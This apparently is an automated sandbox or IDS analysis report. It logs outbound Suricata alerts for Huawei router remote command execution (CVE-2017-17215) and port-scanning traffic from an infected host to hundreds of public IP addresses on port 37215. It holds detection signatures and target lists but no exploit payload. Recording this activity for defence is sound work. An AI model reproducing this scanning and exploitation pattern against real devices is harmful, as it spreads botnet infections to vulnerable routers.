Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:35004 -> 156.61.233.21:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:58184 -> 197.236.84.30:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:35870 -> 197.178.15.159:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:35520 -> 156.50.40.162:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:45646 -> 41.243.254.225:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:48632 -> 41.14.243.203:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:39138 -> 41.131.193.67:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:33288 -> 197.251.95.164:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:35056 -> 156.49.99.121:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:42142 -> 156.123.135.9:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:43954 -> 41.64.242.175:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:57634 -> 41.140.96.91:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:33626 -> 41.142.156.141:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:44088 -> 41.140.124.59:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:37342 -> 197.158.93.77:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:54146 -> 41.71.167.228:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:34296 -> 156.0.77.16:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:55882 -> 197.191.143.51:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:49992 -> 41.120.48.84:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:54318 -> 197.216.247.46:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:55334 -> 41.131.59.7:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:42144 -> 197.207.188.130:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:36860 -> 197.57.252.245:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:45094 -> 41.83.251.254:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:59476 -> 197.66.143.207:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:58402 -> 156.75.113.23:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:34820 -> 197.117.153.92:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:59688 -> 41.21.34.204:37215

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 41.91.218.7 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.14.243.203 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.33.251.33 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.66.117.24 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.34.225.183 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.19.3.249 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.221.46.1 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.233.170.178 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.51.137.36 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.210.230.82 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.152.247.47 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.192.100.225 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.190.138.231 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.177.210.99 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.159.85.145 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.208.52.207 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.67.187.132 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.89.93.238 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.127.113.212 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.41.209.70 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.140.152.127 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.175.235.107 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.118.118.166 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.47.246.148 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.228.208.172 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.236.84.30 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.224.35.102 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.52.201.138 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.166.36.13 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.32.32.76 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.250.125.228 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.140.124.59 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.216.209.23 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.49.86.106 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.69.163.155 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.139.105.161 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.57.243.107 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.105.60.23 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.88.92.64 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.228.216.62 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.56.171.73 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.248.47.121 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.19.142.244 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.184.115.105 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.253.35.217 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.9.17.66 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.25.188.200 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.78.155.227 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.122.179.59 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.92.59.248 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.124.74.71 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.116.48.51 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.142.156.141 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.193.10.195 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.65.218.142 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.72.57.111 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.208.228.171 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.171.114.237 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.57.58.252 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.248.84.7 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.69.193.230 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.62.125.56 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.100.80.106 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.91.197.32 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.31.42.248 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.0.110.229 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.141.191.152 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.37.138.57 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.238.132.137 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.81.139.237 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.19.202.31 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.188.39.1 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.108.245.110 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.15.54.40 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.95.91.31 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.205.137.28 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.192.128.53 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.228.250.198 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.241.230.134 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.51.169.209 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.180.49.236 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.236.110.200 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.184.135.184 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.136.56.49 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.207.249.17 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.178.62.222 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.180.119.226 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.134.226.65 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.196.111.66 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.239.215.130 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.119.175.192 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.140.83.173 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.90.239.211 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.233.22.21 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.116.131.80 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.152.56.71 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.45.209.7 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.112.65.67 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.2.232.201 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.37.37.254 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.171.237.33 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.117.251.36 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.239.38.47 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.57.118.177 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.226.158.162 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.98.70.25 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.169.142.29 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.106.254.125 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.247.235.165 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.173.173.246 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.18.39.194 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.153.6.73 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.218.237.150 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.128.29.173 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.215.245.248 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.4.21.45 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.153.64.61 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.196.4.119 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.192.234.226 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.210.108.168 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.139.156.158 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.15.16.16 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.245.163.128 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.223.124.7 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.192.2.92 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.237.37.41 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.144.103.118 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.145.135.204 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.154.52.203 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.53.49.121 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.213.8.113 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.109.165.251 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.250.109.59 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.83.14.191 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.12.207.118 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.149.76.222 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.62.103.239 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.210.182.88 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.11.131.181 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.235.162.94 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.49.42.131 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.41.131.176 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.237.172.11 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.125.112.185 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.8.173.79 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.9.236.17 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.234.119.105 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.57.115.71 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.28.35.207 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.195.188.190 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.174.199.51 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.76.146.15 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.227.24.2 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.36.158.71 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.188.207.108 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.200.70.248 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.9.158.125 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.80.233.254 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.132.251.138 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.222.128.129 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.162.94.148 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.48.134.189 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.93.200.148 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.15.179.183 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.46.141.68 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.204.196.98 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.97.78.132 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.93.214.96 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.198.240.187 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.248.77.222 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.231.223.28 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.74.234.78 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.74.172.129 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.68.130.204 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.170.164.145 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.44.255.183 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.46.182.195 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.125.94.52 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.244.154.48 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.150.65.235 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.3.248.2 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.93.238.54 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.0.38.140 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.79.244.172 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.74.205.213 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.200.28.128 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.188.204.12 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.64.116.30 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.182.167.87 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.210.149.51 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.226.53.58 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.202.105.35 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.233.114.134 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.206.63.90 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.239.141.52 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.197.244.74 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.222.128.73 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.101.199.18 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.186.61.232 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.237.101.133 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.200.79.39 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.139.209.171 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.62.205.32 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.130.26.19 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.224.93.220 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.249.88.69 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.16.249.219 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.6.142.82 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.210.252.2 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.77.27.207 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.10.13.115 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.207.188.130 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.191.73.14 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.227.170.47 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.64.75.204 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.80.27.144 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.141.148.233 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.243.17.112 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.68.68.240 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.213.6.155 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.250.122.117 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.232.203.131 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.177.99.168 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.204.96.138 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.188.109.245 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.250.211.196 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.198.249.66 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.188.10.23 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.54.249.204 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.205.231.36 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.24.38.168 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.152.252.76 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.6.218.156 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.59.153.122 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.199.200.143 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.26.165.195 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.35.236.212 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.248.163.191 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.199.52.181 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.174.76.207 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.202.34.48 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.152.113.237 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.157.116.197 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.243.215.210 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.177.141.89 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.107.172.134 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.214.140.154 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.115.207.22 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.0.232.213 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.220.227.100 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.155.33.244 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.1.69.124 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.27.11.136 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.117.206.83 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.92.141.107 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.202.88.113 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.87.113.87 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.57.234.191 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.130.217.200 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.171.72.135 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.176.41.45 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.38.231.199 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.123.60.116 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.112.84.245 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.136.234.246 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.121.201.145 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.169.191.215 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.239.29.199 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.173.187.248 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.168.68.189 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.58.146.18 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.74.171.147 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.175.150.37 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.165.15.60 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.222.177.114 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.189.135.34 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.59.57.115 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.167.2.120 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.110.80.214 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.25.63.223 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.229.176.171 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.120.79.177 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.50.141.94 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.227.64.60 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.100.239.248 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.164.58.75 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.187.166.49 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.44.163.240 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.71.20.238 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.197.85.12 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.64.20.209 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.243.189.25 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.189.153.121 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.69.237.193 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.134.236.240 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.79.84.105 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.149.24.107 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.36.190.50 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.28.110.63 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.129.120.114 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.75.57.100 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.21.118.250 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.26.212.241 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.55.65.172 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.74.34.114 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.198.45.54 ports 1,2,3,5,7,37215
